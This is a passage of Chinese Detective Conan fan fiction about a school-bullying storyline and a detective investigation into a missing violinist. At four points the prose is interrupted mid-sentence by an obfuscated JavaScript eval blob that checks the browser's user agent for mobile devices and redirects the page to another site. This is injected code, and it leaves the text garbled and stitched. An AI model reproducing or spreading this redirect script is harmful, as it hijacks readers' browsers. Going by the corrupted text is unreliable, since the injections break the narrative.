长谷川由纪发觉现在的情况似曾相识,隔着几张桌子,和收银台,她仿佛看到了第二个“长谷川由纪”的诞生。 真好啊。 像是被水边溺死的水鬼,要将路过的人也拖入水中,压下他的头,让腥臭的水液从口鼻中灌进去……直到被耗尽最后一口氧气,冲走最后一点体温…… ——这样她才可以获得解脱。 长谷川要借着收银台的遮挡,死死地掐住自己的软肉,才可以勉强维持着面色平静,不让嘴角在众目睽睽之下翘起。 【删…… “哥?” 像是小动物独有的气氛雷达一样,一个毛绒绒的脑袋探出来,嗅嗅,很快搞明白了现在的情况。 黑羽快斗伸手讨要对方的手机:“哥哥,我们这里未经本人允许是不可以拍照的哦——不过买的多了可以去收银台领一份布丁,我推荐牛奶巧克力口味的,真的很好吃!” 被递了个台阶下的家伙悻悻地顺坡下驴,依言领了一份布丁,这事也就算是这么过去了。 像是按下了舞会视频的播放键,大家开始不约而同地假装热情,每个人都竭力让刚才的小插曲变得从未发生过。 长谷川突然意识到自己和黑羽彻也的差别在何处: 不是性格天赋这种个人的因素,因为至始至终都没有一个人,选择像爱自己一样爱她。 认识到这一点的长谷川心底最后一点祸水东引的愧疚都荡然无存。 凭什么? * “哥——” 黑羽快斗将完成了工作交接的飞鸟彻羽拉到角落里,准备秋后算账:“你想要对他用言灵是不是?” 飞鸟彻羽顶着那张、照着黑羽快斗捏的易容,很是坦然。 就是你想的那样,没污蔑我。 “不许!明明好好说话就可以解决的吧?” 飞鸟彻羽哼笑:“那家伙长得歪瓜裂枣的,想得到是挺美,人事不干一点,还做梦叫我说好话讨他欢心——就算我真说了,他听得懂吗?” 为保护周围普通人安全,不被飞鸟彻羽坑害的黑羽快斗小大人似的叹了一口气。 行吧。 没伤害别人已经很了不起了。 不过还好他愿意听他的话,只好之后严加管束这样子…… 飞鸟彻羽用食指钩住小孩的后衣领子,将他拖到身后。 “黑羽同学?你现在有时间吗?放不方便请教一个问题呢?” “不方便。” 黑羽快斗从他身后探出头来,认出来那是飞鸟彻羽的同学之一,名叫长谷川由纪:“为什么不可以?问嘛。” 飞鸟彻羽就伸手捏住他的脸,黑羽快斗很配合地哀叫了一声。 少年一怔,垂下眼眸控诉他:我都没使劲。 于是黑羽快斗“嘿嘿”的冲着他笑,企图蒙混过关。 “我想问:为什么会被欺负呢?” 不是没有发现,黑羽对自己的防备和抗拒,事实上,从第一次见面的时候,少年环视一周最后和她对上视线的时候,就已经发现了。 为什么呢? 我明明什么也没有做错! 长达几个月的委屈终于找到了宣泄的出口,争先恐后地跨越眼眶,奔涌而出。 “为什么啊?!我做错什么了吗?凭什么这么对我?凭什么就是欺负我?凭什么你连我的名字都没记住就开始讨厌我?我和你们有什么不一样?我……” “前面几个问题,我不知道——我又不认识你们;最后一个,至少我看不出你和我们有什么不同。” 飞鸟彻羽说完了,拉着黑羽快斗的手准备走…… 但是黑羽快斗杵在原地不愿意动:“哥,那都是校园霸凌了——我们帮帮她嘛。” 小孩又开始拿出他的拿手把戏,眨巴着眼睛撒娇。 少年叹了一口气,俯下身子和他保持平视:“快斗,你想想,如果你在大街上遇见了人贩子,想要硬把你抢走,这种时候你会和谁求助?” “警察?家长?老师?旁边身体强壮的成年人?好朋友?还是和你根本不熟的同龄人?” 少年的话委婉又含蓄,偏偏将她心里那点阴暗的计划和隐秘的恶意毫不留情地曝晒在阳光下,没给她留半点面子。 你希望他怎么救你呢? 通过代替你的位置吗? “……那不就是更要帮忙了吗?” 飞鸟彻羽对上黑羽快斗那双清凌凌的眼睛,黑羽快斗也毫不动摇地盯着他,透过那张完美无瑕的年轻皮囊,看见了独属于“香槟”的那个苍白衰老的灵魂。 黑羽快斗不服气地鼓着脸,脆生生道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466729|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她都选择和自己没有交情,而且也未必有能力的人作为求助对象,那不就是实在走投无路了才不得已出此下策——更不能袖手旁观了不是吗?” ……真好啊。 理所当然地相信身边遇见的就是好人,没有理由的和别人分享自己的烛火。 飞鸟彻羽突然意识到自己是个太扫兴的人: 也许黑羽快斗以后也会认识到,人心隔肚皮,很多人胸腔里跳动的不是柔软滚烫的心脏,而是被无止境的贪婪、没由来的恶意搅合均匀,腐烂之后捏成心脏的形状,用来自欺欺人的东西。 但不是现在。 像先前多少次的争执都以飞鸟彻羽的让步告终,这次也不例外,少年轻叹一声:“说说看吧,你想让我怎么帮你?” 黑羽快斗于是满意了,像只欢脱的小猴子,跳上飞鸟彻羽的腰,又往上窜了两节,搂住他的脖子:“那我们去坐下找点吃的,慢慢聊吧?” * 于是三人在学校门口的“百目”坐定。 “自便。” 长谷川由纪接过菜单,差点没被后面的价格惊掉下巴,最后只是试探性地点了一杯柠檬水。 “百目”是在日本很有名气的连锁甜品店品牌,味道好服务好,就是价格实在不太好,这家又是开在学校门口,所以生意有种不冷不热的萧条感。 但是飞鸟彻羽不喜欢人多,所以价格也可以算是它的优点之一。 听完了长谷川由纪的情况,少年翘着腿,垂下眼眸,用纸巾将旁边小孩的嘴角擦干净:“所以你打算让我怎么做呢?” “……就说……是朋友什么的……有朋友一起的话应该会好很多吧。” 飞鸟彻羽要让她逗笑了,要是现在自己敢点头,谁知道她会不会打着自己的名字干出什么莫名其妙的事。 “但是黑羽彻也很少去学校,即使是这样说了,‘不存在的朋友’其实根本起不到什么帮助的吧?” 飞鸟彻羽抬眼看着她,在她说出什么不适合小孩听的话之前制止了她: 说话之前考虑清楚。 “我的建议是,抓住其中一个,在众目睽睽之下狠揍一顿,肯定会有人来拉偏架的,只要抓住其中的一个下狠手,一次不行就再来第二次——露出你的牙齿,不会有人会闲的没事非要和一条疯狗过不去的。” 学校也是一个小社会。 这里面的学生因为家世样貌性格成绩等等因素,被分化成三六九等,就像是肉食动物捕猎草食动物,如果没有办法以外力破局的话,那么露出自己的獠牙是最好的选择。 “没办法的!怎么可能打得过啊?!” “那我没办法了——我今年也才16岁,只是个学生而已——如果为了挽救自己都没有办法下定决心的话……” 飞鸟彻羽摊手耸肩。 太刻薄的话不方便在黑羽快斗面前讲,但是话都说到这个份上,该懂得都懂。 如果说刚开始的时候,长谷川还有一点反抗的血性,这么久下来也已经被一盆盆冷水冲刷干净了: “再想想办法吧?我真的做不到——只要在他们面前袒护我一下不就好了吗?我们可以一起上下学,只要有朋友就好了,‘黑羽彻也’的权重肯定比他们所有人加起来……” “没胆子和他们说不,指使起我来倒是得心应手——好啊,我会让你如意的。” 蛊惑的海妖像是通俗故事里面的那种最经典的恶魔,你尽可以向他期许一切,前提是可以支付得起代价。 “希望你不要让他失望。” 16.帝丹高中校园霸凌事件4 校园祭的最后一天,长谷川由纪在众目睽睽之下将自己之前的那个同桌摁倒在地,一通暴揍。 【“霸凌”本身意味着暴力之前,其实是一种显性凌驾于“被霸凌者”和隐形凌驾于“旁观者”的权力。 霸凌者通过不断“杀鸡儆猴”,一次次地强调自己的特权地位,长此以往这种关系就会在大家眼中固化,越久的霸凌越难反抗——所以首先要做的第一步,就是打碎“上等人”长此以往建立起来的、好似“不容忤逆”的形象和尊严。】 店内来消费的其他同学完全状况外,拉架的拉架,拍照的拍照,场面极度混乱。 一直到最后五六个人,才勉强将她拉开。 参加校园祭的不只是有本校高中的学生,还有初中部、小学部及其家长,以及一众为此提供支持的社会人士…… 事情突然就闹大了。 在这种场合下发生了极其恶劣的打人事件,已经不是一个老师可以一人做主的了。 【如果想要在弱势环境下取得胜利,最重要的事,就是削弱强势对手的话语权——一勺蜂蜜溶解在一杯水里面可能效果显著,但是如果是在大海里,那也就不算什么了。】 被几人联合拉开压制住的长谷川明明是动手的一方,却出人意料地开始嚎啕大哭,任凭周围不明所以的同学和家长怎么安抚都无济于事。 本来正正常常的情况下突然暴起伤人就已经很是匪夷所思了,打人者被阻止了哭的凄惨更是反常,偏偏不论周围的人怎么询问长谷川都只是哭,没有任何指控和辩白。 一直得不到答案的周围人只好求助于其他可能潜在的知情人:“同班同学应该知道什么吧?” 【不要陷入自证陷阱——反过来利用旁人迫切解决问题的态度,让旁人为你做马前卒。 原本至始至终都秉承着“事不关己高高挂起”心态的同学,突然身份颠倒,直面矛盾和压力,会怎么做? 即使刚开始所有人都不开口,在“囚徒”心理的煎熬下,总有人先扛不住要先开口。 是站在之前一直行使权力,现如今被打压气焰、且和自己没什么交情的霸凌者? 还是会选择之前处于弱势地位,现在被逼急了,且隐约已占舆论优势的反抗者? 在之前那一系列铺垫的前提下呢? ——攻守易型啦。】 “……可能是之前小林她们有欺负过长谷川……吧?” 旁边的同学也纷纷点头附和。 【一旦有人开了这个口子,在破窗效应下,即使你不用自己开口,也有的是人会愿意为你辩驳真相——更何况记忆本就是会骗人的东西。】 校园霸凌可是很严重的事情,即使大家私下里对这个问题再怎么回避,被摆在明面上来,总要有个公平公正的解决态度。 临时站出来为这事主持公道的赞助家长之一连忙求证,是否是那几个人之前有霸凌行为。 长谷川由纪的身份顷刻颠倒,从先前的“施暴者”,变成了勇于反抗的“受害者”。 彻底把控了舆论的女生却没有趁这个机会大倒苦水,反而抓住了自己之前下手的那个女生死不松口。 就是小林她霸凌的我。 那其他人呢? 就是小林她之前霸凌的我。 【本就是混在一起狼狈为奸的友谊,一朝失势,本以为就要为此吃处分的几个人,见到了峰回路转的希望,只要出卖自己的“朋友”,她们会怎么做呢? 真要有承认的勇气,就不会去霸凌了。 几人一见势头不好,但自己还没有被锤死,这种时候该怎么办呢? ——当然是大难临头各自飞了。】 “对对,”其他一并参与的几个同学也含糊其辞道,“就是小林做的。” 【至此,霸凌小团伙之间的友谊正式宣布解散,如若以后几人还气不过想要秋后算账,也会去狗咬狗先去找“叛徒”的麻烦。】 被突发情况搞得汗流浃背的教导主任连忙表态,要给小林严重警告处分,并停课一个月回家整改,一经发现立即开除。 “长谷川同学,这个处理接过你还算满意吗?” 一旁的家长、同学和老师也都连连点头附和:霸凌者已经吃了处分,他们也算是对得起自己的责任和良心。 【学校要考虑声誉问题,其他同学和家长毕竟不是自己的事情,也帮上了腔,每个人的事件和精力都是有限的,所以想要将这件事快快翻篇会是再正常不过的事情。 不要死缠烂打,见好就收——这一批人短时间内再也榨不出什么利用价值了。 表示自己接受处理结果,接下来的两天,照常上放学。】 第三天的早上,女孩站在了学校的教学楼上,对着手里正在直播的界面大声道: “我是米花町帝丹高中一年级A班的长谷川由纪,在此实名举报: 我的同学实施霸凌,老师、警察没有作为,校方息事宁人只给了其中一人警告处分——15分钟之后,我会从教学楼顶跳下去,证明我的话句句属实。” 【当然不是真的跳楼,只是需要有个足够有热度的新闻,能够被媒体看到流量和热度的价值,给你一个更大的更新鲜的平台,在另一个山顶获得关注。】 这场“女高中生直播跳楼事件”,直到被紧急出警的警察救下才算落下了帷幕。 被社会广泛关注的大前提下,成立特别调查小组,应急处理此事。 【两天的时间,足够你的同学和家长们,把该传播扩散的都说的差不多——到时候取证,他们之中的每一个,都会是你的证人。】 事情的解决以: 几个霸凌学生被记大过,留案底,因为保护未成年人的政策,没有被披露出名字。 不作为班主任被开除,吊销教师资格禁止参与一切教育相关活动。 校长公开道歉,并保证会严加监管为止。 “你在叫我以暴制暴吗?”坐在面前的女孩双手捧住玻璃杯,冰冷杯壁外凝出的水珠弄湿了双手,“你怎么能保证,在没有事前串通好的前提下,所有人都会按照你所期许的方向去做呢?” “第一,我没叫你以暴制暴——我在教你权力。” “第二,串不串通好又有什么关系?” “因为他们是人,人性如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481196|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在群体心理下,个人的存在会被重新定义,更何况人与人之间又有什么区别吗?或者说你真的认为大家会有什么不同吗?” 少年轻笑,抬手示意服务员结账: “生、老、病、死、贪、嗔、痴、慢、疑——人就是这样,逃不过的。” * “……然后呢?后来你又是为什么要那么做?” 即使已经听过了故事的结局,诸伏景光也依然在心里下意识地不愿意去相信,一个曾经被霸凌过的人,按理是最能共情这一处境的不是吗? 自己经受过这种苦难,怎么能忍心也将别人的伞撕烂呢? “后来有一次,我不小心在下楼的时候,把小林碰到了……也许潜意识里是故意的,但是我自己并没有意识到。我当时居高临下地睥睨她,她的眼神我至今印象深刻——从我们两个对上视线的那一瞬间,我就知道她一直在担心,我会做出像她那样的事。” “而在那之后证明,她的担心并不是杞人忧天。然后被爆了出来,学校在那之后严查霸凌,所以被开除了,家里嫌我丢脸就和我断绝了关系。我就在这里工作,偶尔遇见你们这样的人,赚赚外快。” “一直到现在我都感觉不可思议。” 长谷川由纪深吸一口,烟头的火光明亮了三分,紧接着呛人的烟雾从口鼻中漫出来,像是要吐尽心中的郁气。 “点头首肯的那一瞬间,就像是被鬼上身了一样。” 平时没有勇气,没有办法做成的事情,被放在心里笼子里面的野兽挣脱出笼,从此一发不可控制,再也没有周转的余地。 “算是我多嘴,不管是出于什么原因你们来调查‘黑羽彻也’,自己掂量着点分寸,点到为止——他就像是个魔鬼,或者是什么海妖塞壬之类的,反正不会是什么好东西。” “……可是黑羽没有叫你去后续霸凌其他人,”长谷川由纪对上降谷零那双清透的眼睛,“他帮你在最大限度下解决了问题:施暴的霸凌者、助纣为虐的同学、不作为的老师、粉饰太平的校方、无能为力的家长——只要正常的学校里面学习生活,没人敢再去找你的麻烦。” 降谷零毫不留情地挑破了她那张自欺欺人的遮羞布:“你是在推卸责任。” “就像是一开始希望黑羽代替你,发现他比你想象中的更强势之后又希望他庇护你,现在又认为他是恶鬼。” “你吃准了,他不会在你身上浪费一丝一毫的时间和精力,因为你是在他眼中没有被关注价值的人——所以怨恨他、造谣抹黑他的名声来牟利是没有成本也不用承担后果的。” 稍微想一想也该知道了。 一个是平时只有重要考试和偶尔活动才会去学校的人,一个是高一就被劝退的人——这两人之间零星的交集,怎么可能保证长谷川这么久的产出? “你只是不愿意承认,自己也会变成自己曾经最讨厌的霸凌者。” “你懂什么?”像是被直言不讳地话语戳到了痛处,长谷川陡然暴起,“你认识黑羽彻也吗?!只有才是最了解他的人!” 你这个外人懂什么?! 他亲口承认过,我们是同类的! 17.帝丹高中校园霸凌事件5 于是故事好像没有分毫的进展。 面孔狰狞的上等人,事不关己的旁观者,摇尾乞怜的被霸凌者…… 帷幕拉开了一次又一次,总是老套又低劣的戏码。 没有一点长进。 又一次,在长谷川扯着小林的头发,将她拖进巷子里面的时候,本以为这又是和之前的每一次都别无二致的下午。 “……长谷川——姐姐?” 彼时正画着夸张烟熏妆的少女站在被拥挤楼房遮住阳光的昏暗小巷子里,和黑羽快斗那双在夕阳下浮光跃金的眼睛对上视线。 旁边是那个又消失好久的黑羽彻也。 长谷川曾经也在刻意回避之间,断断续续地想过很多次:如果黑羽发现了我做出这种事,他会什么反应呢? 失望吗?愤怒吗?无奈吗? 也曾默默复盘过,要是黑羽故技重施,自己该怎么应对。 会像曾经赋予自己权力那样,找到第二个“长谷川由纪”吗? 结果证明,自己似乎太把自己当回事了。 ……他只是看着她,意料之中似的。 当时的判词一语成谶,偏偏时至今日,在这个时候,她才后知后觉地明白他是什么意思: “我看不出你们有什么区别。” 长谷川和小林,本质上没有任何分别。 她被欺负的原因不是因为她做错了什么——她只是在同类竞争中输了。 啊。 像是被闷棍打昏了头,现在才回过神来。 这个点,是小学放学的时间来着。 * 这次黑羽快斗报了警。 坐在警局里面的时候,长谷川由纪对自己的所作所为供认不韪,只是提出了一个条件:“我能和黑羽说两句话吗?” 意料之外的,这次没有被拒绝。 飞鸟彻羽拉开椅子,坐在她对面,无言的,兴致缺缺的。 “……你早就预料到我会做出这种事,对吧?” 所以从一开始他就不愿意插手,这两个人之间“狗咬狗”一样的竞争,因为没意义,她们要么狼狈为奸,要么就像是现在这样。 在成为小林之后,长谷川明白了这样的吸引所在。 权力是会叫人上瘾的东西。 “你算计我,你明明可以简简单单的解决问题,你非要叫我什么狗屁‘权力’,你明明早就该想到了这种下场,你害我……” “说得对,但是我只叫你怎么掀翻踩在头上的那只脚——没叫你踩在别人头上啊?” 飞鸟彻羽没少被别人骂,他干过的缺德事简直罄竹难书,本就问心有愧,且让别人说。 但是被无赖缠上倒也是稀罕。 “呐,千代古,我有没有说过你有点像我小时候?就是我没你那么弱智。” 十六七岁了还沉迷于这种低劣的“权利游戏”,这辈子算是废了。 长谷川本以为她会为自己而心生出些许悲悯来。 瞧瞧,多可怜哪。 自己心心念念的,在午夜梦回间折磨的自己辗转反侧的人,连自己姓什么都没记住。 可结果并没有,反而是亲耳听到他承认两人是同类之后,获得了难以言喻的满足感和兴奋感:“……所以是因为我们同类互斥,你才对我那么排斥……” “不是,我确实讨厌你,不是因为你心怀恶意或者同类互斥——单纯因为你有点太不中用了。” 飞鸟彻羽有些不耐烦了,主要是有些想不明白为什么要在这种创造不了任何价值的事情上浪费时间。 “让我来解释一下你是怎么想的吧。” “你出生于一个极端刻板的日本家庭,父亲这个为家庭提供全部经济支持的角色掌握家庭中的话语权——我想他一定这样说过你和你的母亲,是我在养着你们,两个吃干饭的——诸如此类。” “在这种环境下,你开始认识到,你和你的母亲是属于父亲的玩偶,是他权力的重要构成部分——在这种环境下,给你种下了‘强权’的种子,你开始慕强慕权,以期许摆脱这种不良的生存环境。” “而这种逆境下,孩子会下意识地去寻求母亲的支持,但就你的表现来看,她也没有办法提供这方面的支持。而随着你年龄的增长眼界的拓宽,你开始意识到,所谓的父亲也不过是他们公司体系中的末流角色——在这种无能的男人面前都没有话语权,于是你开始蔑视自己的母亲,就像是你讨厌自己那个其貌不扬的同桌一样。” “你相貌并不出众,成绩中下,性格也不讨喜,没有办法从外界获得其他情感支持,你不甘心,又无能为力,于是开始有意无意地在关系中汲取权力感——我们第一次见面的时候,你在评估所有人的权重对吧?” “本来的心理预期,是希望成为这个新班级中的交际花吧?但是后来计划赶不上变化,没能竞争得过好像更有手段和效率的小林呢。” “对黑羽彻也的态度转变也是从那个时候开始的吧?本来是希望汲取我的价值,通过和在你眼中高权重,也就是优秀的人成为朋友,就可以满足你的获得感,就像是在性格或者是星座测试中发现自己和某个自己认可的名人是同一类型,所以沾沾自喜——事实上别人的成功和你有什么关系呢?” “但是在人际关系中的挫败感让你没有办法承担来着家庭、成绩、人际等多方面的被压迫感,于是一个更高回报的想法诞生了——要是你眼中的‘高权重人群’也能和一个处境就好了,这样是不是就很有安慰感,不是自己的无能,因为连比你强那么多的人都是这个样子?” 飞鸟彻羽轻笑。 “黑羽彻也这个意象很棒对不对?他满足你所有的‘高权重想象’,但同时,又和你是同龄人,就坐在一间教室——是真真正正看得见摸得着的。” “羡慕他,喜欢他,嫉妒他,取代他,憎恶他,怨恨他。” 长谷川怔怔地看着面前的少年,他有双会说话的眼睛,有些事即使喉咙不愿意发声,眼睛也不会撒谎: 生老病死贪嗔痴慢疑——逃不过的。 你也是一样。 “那你呢?” 女孩错开眼睛,竭尽全力让自己的声音保持平静:“那你呢?黑羽同学?身为‘高权重’的化身,你当年是怎么解决问题的呢?” “告诉我标准答案吧。” 所以至始至终,飞鸟彻羽不共情她——他太清楚自己是什么货色了,好人讲讲规矩和道德,像他们这样的烂货,更凭本事吧。 “那要等我填完答案再说——我现在正在赢。” * “就是这个样子。” 长谷川在台阶上熄灭燃尽的烟头,深深叹气,扭头看向同样坐在店门口台阶上躲监控的两个警校生。 想听见什么呢? 长谷川由纪不知道,每次这种对话结束后,不论是真实的事件,还是自己杜撰的故事,旁听的人都是一脸满足感,丢下说好的报酬,迫不及待地回去准备发表独家。 他们追寻黑羽彻也的故事而来,求仁得仁,理应如此。 “我觉得……” 灿金色头发的警校生很是郑重地站在她的面前,紫灰色的眼睛很严肃地看着她:“虽然黑羽可能说的没错,他所主张的观点也都被你后来的行为证实了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496463|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “但是没道理原生家庭不好的人就一定长大会成为王八蛋,‘杀人犯的孩子也会是杀人犯’、‘坏人就活该被欺负什么的’这种观点是没有道理的——即使是基因也没有办法完全决定一个人的生命轨迹。” “记忆构成人格,也许黑羽说的有他的道理,也经过了自己的实践经验去验证他的观点——但是我个人认为如果当初你能遇到一个好的父母老师警察,没有遇见先去霸凌你的同学,也许情况就会不一样。” “没有道理说,这辈子就一定必须要遇见不负责任的家长老师警察和霸凌者,如果遇见了,我想那是身为成年人,身为教育者的不当造成的。” “不是所有人都是合格的父母,也不是所有人都能成为合格的老师,但是作为警察这个职业的话,我认为是有些社会责任在身上的——连最基本的对责任和正义的敬畏心都没有的话,我觉得是不合格的。” “所以我像你保证,我会成为一个合格的警察,不只是我,我的朋友们也会是这样的。”降谷零很是郑重的对她鞠躬,“也许黑羽说的是对的,当前环境下必然会发生这种事,但是我会努力在最开始就阻断这个发展的。” “……不过还是太好了。” 诸伏景光松了一口气:“在你做出更糟糕的事情之前阻止了你,真是太好了。” 褐发的警校生又折回到店里,这次拿出来的是一份温热的即食便当,和一包烟糖:“付过钱了,我感觉这种时候你可能更需要这个,你还没吃晚饭吧?” “还有烟糖,我看我的朋友抽不到烟的时候就会吃这个。” ……什么啊? 这两个人,神经病吧? 长谷川下意识地摸出口袋里的烟,想给自己点上,却手抖得怎么也没有办法点燃。 无奈,只好作罢,合着眼泪吃完了尚带余温的便当。 ……难吃死了。 ——从明天开始戒烟吧。 * “还好吧,zero?”诸伏景光拍拍降谷零的肩膀以示安慰。 不知道这种雷同的情况会不会让zero感到难过。 暹罗猫顺从地接受幼驯染的安慰,还要傲娇地喵喵叫:“我没那么脆弱啦。” 顶多心里有点不是滋味。 “zero,没变成那个样子真的太好了。” 降谷零让诸伏景光夸得有点不好意思,遂摸出手机转移话题道:“不知道班长他们那边进度如何了,刚刚忙起来没能顾上看手机。” 诸伏景光应了一声,拿出手机点开录音软件:“那我整理一下之前的内容。” 长谷川的话虽说有些参考价值,但是其本人实在对“黑羽彻也”怨念太强,里面究竟哪些是夸大的部分,哪些是确切的实话,实在值得商榷。 降谷零点开他们五个人的群聊。 当时情况紧急,萩原研二把飞鸟彻羽拉进了他们五个人的小群里,时候又有些尴尬,于是又在外面另外建了一个五人小群。 ……才不是排挤他呢,那家伙这么忙,肯定也不想看他们天天吹水吧? 安抚了自己隐隐作痛的良心,降谷零将聊天信息往上翻。 【约会中:你们那边情况怎么样?@拆弹のKing@是hiro不是hero】 【Rei:景正在整理,信息太乱了。】 【AAA萩原快送:班长@约会中,你先查一下,三年前的暑假,米花町有没有那种恶性伤人致死事件,死者年龄应该是能做黑羽彻也父亲的年纪】 【AAA萩原快送:我们这边怀疑,黑羽彻也可能是被家里牵连,可能已经遇害了】 18.忒修斯之船1 “不好意思,家父确实是对黑羽彻也的情况不甚了解。” 堂本弦也歉意道:“当年确实是帮忙伴奏了没错,但也只是黑羽本人拒绝钢琴伴奏,再加上父亲觉得这么好的曲子不应该被埋没,起了爱才之心,才答应帮忙——实际上是没有什么交情的。” “麻烦你们白跑一趟了,实在不好意思。” 能在这种情况下帮助伴奏,怎么可能是完全没有交情的关系啊? 但是也可以理解。 黑羽彻也的国民度,三年之间了无音讯,想到从堂本这一条线索追查的人肯定不是一个两个,烦不胜烦不打算惹麻烦也是可以理解的事情。 但是工藤新一也是真的很想知道当年黑羽家究竟发生了什么事。 黑羽夫妇联系不上,黑羽快斗一知半解,自己的父母也是缄默三口,好不容易得了彻哥点头…… 这种情况可遇不可求啊。 “那个……我想请问一下,”萩原研二开口询问道,“不熟是指……?” “就是除了帮忙伴奏之外再也没有别的交集了。” “不对吧?” 松田阵平脸紧紧贴着一旁大厅中央展柜的玻璃:“你看这里面,这把小提琴的侧腰有黑羽的专属刻痕呢。” “什么专属刻痕?!” “就是这个啊,”松田阵平把他拖到自己的位置,“对,就是这个角度,竖琴的纹样,特别浅,要仔细看才能看得出来,和当时我们在视频里面截出来的半截图案走势完全一致——说明就是刻的同一个图案。” 一个谎言说出口,就要撒一百个谎来圆。 ……反正这两个人一看就是外行,工藤家的听说从小就检测出来是个音痴。 应该没有问题的吧? 堂本弦也硬着头皮扯谎:“是黑羽用过的琴,家父就是因为非常欣赏黑羽,才以‘帮助伴奏’为前提,从黑羽那里购得了这把琴。” 萩原研二提问:“是之前比赛的时候用过的那把吗?” “对对就是这把。” 三人交换了一个心照不宣的眼神: 就等你说这句话呢。 工藤新一清清嗓子,雄赳赳气昂昂,像是一只神气的小公鸡:“展柜里面的这把,琴箱上窄下宽,中部弯度深。琴板宽平,中间厚,四周薄——是很典型的斯特拉迪瓦里琴——而且绝对价格不菲。” “而我们在此之前有翻阅过所有公共可能找到的,黑羽彻也的演奏音频,包括当时比赛时候的视频。虽然没有近景镜头,但因为是专业比赛的缘故,小提琴的音色凸显的很明显——琴声甜美,G、D两弦尤其突出,但是音色不够洪亮,传播效果欠佳——明显是阿马蒂琴的音色。” “综上所述,可以证明黑羽彻也从未在公众视野中演奏过这把琴。” 工藤新一咧嘴一笑:“我有绝对音感。” 堂本弦也有些汗流浃背了。 ……为什么“绝对音痴”和“绝对音感”可以在一个人身上共存啊? 萩原研二接话道:“那么现在问题来了:堂本先生究竟是从什么渠道得知,黑羽家有一把斯琴的?” “如果是在公共的视角,黑羽彻也从来没有在任何公共场合使用过任何一把斯琴。” “如果是从私交的途径——刚刚又亲口否认过两人有关系;可堂本先生作为一名【普普通通】的音乐家,想要知道公众不知道的消息当然有可能,但是这不就代表了堂本先生有在调查刚刚明明说过【不熟】的黑羽彻也?” “调查结果是什么?给我们分享一下呗?” 堂本弦也:……我就是个学音乐的,你们拿出审问犯人的架势算是怎么回事? “额……其实是我记错了,这把是黑羽彻也的私藏来着。” “哦~私藏啊~” 松田阵平语气波澜起伏,“可是看看这个标识,和黑羽彻也那把的标识不是很一样,看起来不像是出自一个人的手笔——要不我们去找痕检的专家来鉴别一下吧?反正这种图样清晰的对比工作应该也不是什么太大的工作量吧?” 被问急了的堂本弦也决定破罐子破摔:“我就是不说,你们能把我怎么样?两个警校生,一个小孩——你们有搜查令吗?” 啊……好像逼得太紧了。 “如果说我们有可能能找到黑羽呢?” 堂本弦也下意识地抬头:“什么?” 松田阵平指指展柜:“保存的很好,有定时清理和保养,包括连展柜的内部也是,可以看出主人非常爱护。但是据我所知,堂本家都是专攻钢琴——那把琴,是堂本先生给黑羽的吧?作为获奖礼物之类的?” “你知道这是斯特拉迪瓦里琴,折合成美元也要七位数,古董级别的乐器——好好保存不是很正常吗?” “那那个刻痕呢?” 萩原研二看着那个浅浅的纹样:“本来是想着在比赛获胜之后给他一个惊喜的吧?连名字都属好了,但是偏偏在这个时候失联了。” “你们年纪也没有差别太多,曾经也一定一起练过琴的吧?会担心他吗?这种机会在眼前摆着,不试试看,之后真的不会后悔吗?” 堂本弦也在那双紫色的眼眸中,看见了自己的眼睛。 他知道自己拒绝不了这个诱惑。 本就是非亲非故,又不是必须要见的人,随便找个借口打发了就是——根本没必要在听说有黑羽消息的时候,自己亲自跑一趟: “你们有多少把握?” “我没办法保证。” “……我要和家父商量一下。” * 恢弘的教堂里,管风琴宏伟的声音在回响。 “老师。” 指尖落下最后一个音节,堂本一挥扭头看见飞鸟彻羽:穿着他自己最钟意的“公爵式打扮”头发用一只秘银发箍高高束起,像是教堂外壁刻画的神灵。 ……没带易容。 “半点没变——也没长高啊。” “您别挤兑我了,”飞鸟彻羽垂眸讨饶道,“还是长了一点的。” 少年席地而坐,依靠在椅子腿上,没个正形。 要是让外面的人见了得惊掉下巴,谁能想到,在外面睥天睨地的“魔王”倒也是会软声撒娇的? 但是堂本一挥知道,那孩子不能说好相处,倒也说不上坏,他只是亲疏远近分的很开。 “还拉琴吗?” “不了,”他好像很累,但也什么都不想说,“很久没有过了。” “有不得不去做的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 